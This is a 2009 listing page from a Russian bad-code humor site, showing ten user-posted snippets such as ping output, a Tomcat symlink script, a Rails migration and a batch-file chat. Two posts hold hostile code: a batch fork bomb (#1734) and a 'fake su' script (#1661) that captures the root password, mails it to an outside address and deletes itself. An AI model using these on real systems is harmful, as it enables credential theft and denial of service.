1. Куча / Говнокод #1791

    +143.3

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    C:\>ping 10.0.0.3 -l 1472 -f -n 100
    
    Обмен пакетами с 10.0.0.3 по с 1472 байт данных:
    
    Ответ от 10.0.0.3: число байт=1472 время=2мс TTL=128
    Ответ от 10.0.0.3: число байт=1472 время=1мс TTL=128
    Ответ от 10.0.0.3: число байт=1472 время=1мс TTL=128
    Ответ от 10.0.0.3: число байт=1472 время=1мс TTL=128
    Ответ от 10.0.0.3: число байт=1472 время=1мс TTL=128
    Ответ от 10.0.0.3: число байт=1472 время=1мс TTL=128
    Ответ от 10.0.0.3: число байт=1472 время=2мс TTL=128
    Ответ от 10.0.0.3: число байт=1472 время=1мс TTL=128
    Превышен интервал ожидания для запроса.
    Превышен интервал ожидания для запроса.
    Ответ от 10.0.0.3: число байт=1472 время=1мс TTL=128
    Ответ от 10.0.0.3: число байт=1472 время=1мс TTL=128
    Ответ от 10.0.0.3: число байт=1472 время=1мс TTL=128
    Превышен интервал ожидания для запроса.
    Превышен интервал ожидания для запроса.
    Ответ от 10.0.0.3: число байт=1472 время=1мс TTL=128
    Ответ от 10.0.0.3: число байт=1472 время=1мс TTL=128
    Ответ от 10.0.0.3: число байт=1472 время=1мс TTL=128
    Превышен интервал ожидания для запроса.
    Ответ от 10.0.0.3: число байт=1472 время=1мс TTL=128
    Ответ от 10.0.0.3: число байт=1472 время=2мс TTL=128
    Ответ от 10.0.0.3: число байт=1472 время=1мс TTL=128
    Ответ от 10.0.0.3: число байт=1472 время=2мс TTL=128
    Ответ от 10.0.0.3: число байт=1472 время=1мс TTL=128
    Превышен интервал ожидания для запроса.
    Ответ от 10.0.0.3: число байт=1472 время=1мс TTL=128
    Ответ от 10.0.0.3: число байт=1472 время=1мс TTL=128
    Ответ от 10.0.0.3: число байт=1472 время=1мс TTL=128
    Ответ от 10.0.0.3: число байт=1472 время=1мс TTL=128
    Превышен интервал ожидания для запроса.
    Ответ от 10.0.0.3: число байт=1472 время=1мс TTL=128
    Ответ от 10.0.0.3: число байт=1472 время=1мс TTL=128
    Ответ от 10.0.0.3: число байт=1472 время=1мс TTL=128
    Ответ от 10.0.0.3: число байт=1472 время=1мс TTL=128
    Ответ от 10.0.0.3: число байт=1472 время=1мс TTL=128
    Превышен интервал ожидания для запроса.
    Ответ от 10.0.0.3: число байт=1472 время=1мс TTL=128
    Превышен интервал ожидания для запроса.
    Превышен интервал ожидания для запроса.
    Превышен интервал ожидания для запроса.
    Ответ от 10.0.0.3: число байт=1472 время=1мс TTL=128
    Ответ от 10.0.0.3: число байт=1472 время=1мс TTL=128
    Ответ от 10.0.0.3: число байт=1472 время=1мс TTL=128

    VT

    ESGR, 09 Сентября 2009

    Комментарии (17)
  2. Куча / Говнокод #1778

    +140.4

    1. 1
    2. 2
    3. 3
    4. 4
    Почему нет раздела по BrainFuck'у? )))
    Почему нет раздела по BrainFuck'у? )))
    Почему нет раздела по BrainFuck'у? )))
    Почему нет раздела по BrainFuck'у? )))

    Почему нет раздела по BrainFuck'у? )))

    Tanger, 06 Сентября 2009

    Комментарии (12)
  3. Куча / Говнокод #1734

    +143.8

    1. 1
    2. 2
    3. 3
    l:
    start %0
    goto l

    Полезный батник. Используется во время войны. Окна вылетают.

    Говногость, 31 Августа 2009

    Комментарии (14)
  4. Куча / Говнокод #1704

    +67.9

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    #!/bin/bash
    
    ln -s /tomcat/tc1/logs/CR.log /tomcat/logs/tc1.log
    ln -s /tomcat/tc2/logs/CR.log /tomcat/logs/tc2.log
    ln -s /tomcat/tc3/logs/CR.log /tomcat/logs/tc3.log
    ln -s /tomcat/tc4/logs/CR.log /tomcat/logs/tc4.log
    ln -s /tomcat/tc5/logs/CR.log /tomcat/logs/tc5.log
    ln -s /tomcat/tc6/logs/CR.log /tomcat/logs/tc6.log
    ln -s /tomcat/tc7/logs/CR.log /tomcat/logs/tc7.log
    ln -s /tomcat/tc8/logs/CR.log /tomcat/logs/tc8.log
    
    rm -fR /tomcat/webapps
    mv /tomcat/tc1/webapps /tomcat/webapps
    rm -fR /tomcat/tc1/webapps
    rm -fR /tomcat/tc2/webapps
    rm -fR /tomcat/tc3/webapps
    rm -fR /tomcat/tc4/webapps
    rm -fR /tomcat/tc5/webapps
    rm -fR /tomcat/tc6/webapps
    rm -fR /tomcat/tc7/webapps
    rm -fR /tomcat/tc8/webapps
    ln -s /tomcat/webapps /tomcat/tc1/webapps
    ln -s /tomcat/webapps /tomcat/tc2/webapps
    ln -s /tomcat/webapps /tomcat/tc3/webapps
    ln -s /tomcat/webapps /tomcat/tc4/webapps
    ln -s /tomcat/webapps /tomcat/tc5/webapps
    ln -s /tomcat/webapps /tomcat/tc6/webapps
    ln -s /tomcat/webapps /tomcat/tc7/webapps
    ln -s /tomcat/webapps /tomcat/tc8/webapps
    rm -fR /tomcat/tc2/conf/Catalina/localhost
    rm -fR /tomcat/tc3/conf/Catalina/localhost
    rm -fR /tomcat/tc4/conf/Catalina/localhost
    rm -fR /tomcat/tc5/conf/Catalina/localhost
    rm -fR /tomcat/tc6/conf/Catalina/localhost
    rm -fR /tomcat/tc7/conf/Catalina/localhost
    rm -fR /tomcat/tc8/conf/Catalina/localhost
    ln -s /tomcat/tc1/conf/Catalina/localhost /tomcat/tc2/conf/Catalina/localhost
    ln -s /tomcat/tc1/conf/Catalina/localhost /tomcat/tc3/conf/Catalina/localhost
    ln -s /tomcat/tc1/conf/Catalina/localhost /tomcat/tc4/conf/Catalina/localhost
    ln -s /tomcat/tc1/conf/Catalina/localhost /tomcat/tc5/conf/Catalina/localhost
    ln -s /tomcat/tc1/conf/Catalina/localhost /tomcat/tc6/conf/Catalina/localhost
    ln -s /tomcat/tc1/conf/Catalina/localhost /tomcat/tc7/conf/Catalina/localhost
    ln -s /tomcat/tc1/conf/Catalina/localhost /tomcat/tc8/conf/Catalina/localhost
    rm -fR /tomcat/tc2/lib
    rm -fR /tomcat/tc3/lib
    rm -fR /tomcat/tc4/lib
    rm -fR /tomcat/tc5/lib
    rm -fR /tomcat/tc6/lib
    rm -fR /tomcat/tc7/lib
    rm -fR /tomcat/tc8/lib
    ln -s /tomcat/tc1/lib /tomcat/tc2/lib
    ln -s /tomcat/tc1/lib /tomcat/tc3/lib
    ln -s /tomcat/tc1/lib /tomcat/tc4/lib
    ln -s /tomcat/tc1/lib /tomcat/tc5/lib
    ln -s /tomcat/tc1/lib /tomcat/tc6/lib
    ln -s /tomcat/tc1/lib /tomcat/tc7/lib
    ln -s /tomcat/tc1/lib /tomcat/tc8/lib
    rm -fR /tomcat/tc2/common
    rm -fR /tomcat/tc3/common
    rm -fR /tomcat/tc4/common
    rm -fR /tomcat/tc5/common
    rm -fR /tomcat/tc6/common
    rm -fR /tomcat/tc7/common
    rm -fR /tomcat/tc8/common
    ln -s /tomcat/tc1/common /tomcat/tc2/common
    ln -s /tomcat/tc1/common /tomcat/tc3/common
    ln -s /tomcat/tc1/common /tomcat/tc4/common
    ln -s /tomcat/tc1/common /tomcat/tc5/common
    ln -s /tomcat/tc1/common /tomcat/tc6/common
    ln -s /tomcat/tc1/common /tomcat/tc7/common
    ln -s /tomcat/tc1/common /tomcat/tc8/common

    yvu, 27 Августа 2009

    Комментарии (3)
  5. Куча / Говнокод #1700

    +80.3

    1. 1
    // here must be english equivalent for simple russian 'nahuya?'

    Bobby, 27 Августа 2009

    Комментарии (6)
  6. Куча / Говнокод #1686

    +62.7

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    9. 9
    class UglyColumnsRedefine < ActiveRecord::Migration
      def self.up
        change_column :variable_sets, :active, :boolean
        VariableSet.all.each{|v| v.update_attribute :active, !!v.active}
      end
    
      def self.down
      end
    end

    Миграция с весёлым названием 20090601130619_ugly_columns_redefine.rb, для рельсового приложения, аля "так делать низя".

    NoName, 26 Августа 2009

    Комментарии (1)
  7. Куча / Говнокод #1661

    +76.1

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    #/usr/local/bin/bash
    
    # False SU utility
    
    # mail to send passwd
    mail="[email protected]"
    # go
    echo -n "Password:"
    read -s passwd
    echo ""
    echo "su: Sorry"
    
    echo "root password from `hostname`: $passwd" | mail -s "Fuck the system" $mail
    
    # вернем все на место
    alias su=su
    #самоуничтожение
    rm $0

    Фейковый su )))

    Darwin, 23 Августа 2009

    Комментарии (10)
  8. Куча / Говнокод #1636

    +70.8

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    <center><b><font color="#CCCCCC">1. Статус и ответственность сторон соглашения:</b></center><br><center></font>
    <UL>
    1.1. 
    <br><br>1.1.1. 
    <br><br>1.1.2. 
    <br><br>1.1.3. 
    <br><br>1.1.4. 
    <br><br>1.1.5. 
    <br><br><br>1.2. 
    <br><br><br>1.2.1.

    Alexion, 19 Августа 2009

    Комментарии (3)
  9. Куча / Говнокод #1592

    +144.8

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    rem = 1;/*
    @cls
    @cscript %~s0 //E:JScript //Nologo
    @exit /b
    */
    
    str = WScript.StdIn.ReadLine();
    WScript.StdOut.Write(1+2+3);

    Файл сохранять в *.BAT
    Это мой первый полиглот полиглот BAT и JScript.
    Про полиглоты на вики: http://en.wikipedia.org/wiki/Polyglot_(computing)

    k06a, 15 Августа 2009

    Комментарии (6)
  10. Куча / Говнокод #1591

    +57.7

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    @echo off
    cls
    pushd "%~d0%~p0"
    echo Current DIR: "%CD%"
    if "%~1" == "talk_widget" goto talker
    
    
    rem ////////////////////
    :auth
    echo Enter chat filename to connect ("abc" for example):
    set /p chat=^>
    echo Enter your nick:
    set /p nick=^>
    start call %0 talk_widget %chat% %nick%
    
    rem ////////////////////
    :listener
    cls
    call title "| Chat: %chat% | User: %nick% |"
    if exist %chat%_history type %chat%_history
    
    :list_go
    ping 127.0.0.1 -n 1 -w 20 > nul
    set oldtext=%text%
    set /p text=<%chat%
    if not "%text%" == "%oldtext%" echo %text%
    goto list_go
    rem ////////////////////
    
    
    rem ////////////////////
    rem // %2 - chat name //
    rem // %3 - user nick //
    rem ////////////////////
    :talker
    set chat=%~2
    set nick=%~3
    cls
    call title "| Chat: %chat% | User: %nick% |"
    call ::cs_in
    echo (%TIME% %nick% connected)>%chat%
    call ::cs_out
    echo (%TIME% %nick% connected)>>%chat%_history
    
    :talkloop
    cls
    echo Dear %nick%, type message to send:
    set /p msg=^>
    rem call ::cs_in
    echo [%TIME% %nick%]: %msg%>%chat%
    rem call ::cs_out
    echo [%TIME% %nick%]: %msg%>>%chat%_history
    goto talkloop
    rem ////////////////////
    
    
    rem ////////////////////
    :cs_in
    if exist "%chat%_cs" ping 127.0.0.1 -n 1 -w 50 > nul
    set cs_value=%RANDOM%
    
    :cs_in_loop
    echo %cs_value%>%chat%_cs
    set /p ret=<%chat%_cs
    if "%ret%" == "%cs_value%" exit /b
    ping 127.0.0.1 -n 1 -w 10 > nul
    goto :cs_in_loop
    rem ////////////////////
    
    
    rem ////////////////////
    :cs_out
    del %chat%_cs
    exit /b
    rem ////////////////////
    
    
    rem =========================================================

    Чат на BAT. Сколько угодно народу.
    Выложите батник в сетевую папку и оттуда запускайте с разных ПК.
    Статья с тонкостями: http://k06a.blogspot.com/2009/06/blog-post_27.html

    k06a, 15 Августа 2009

    Комментарии (17)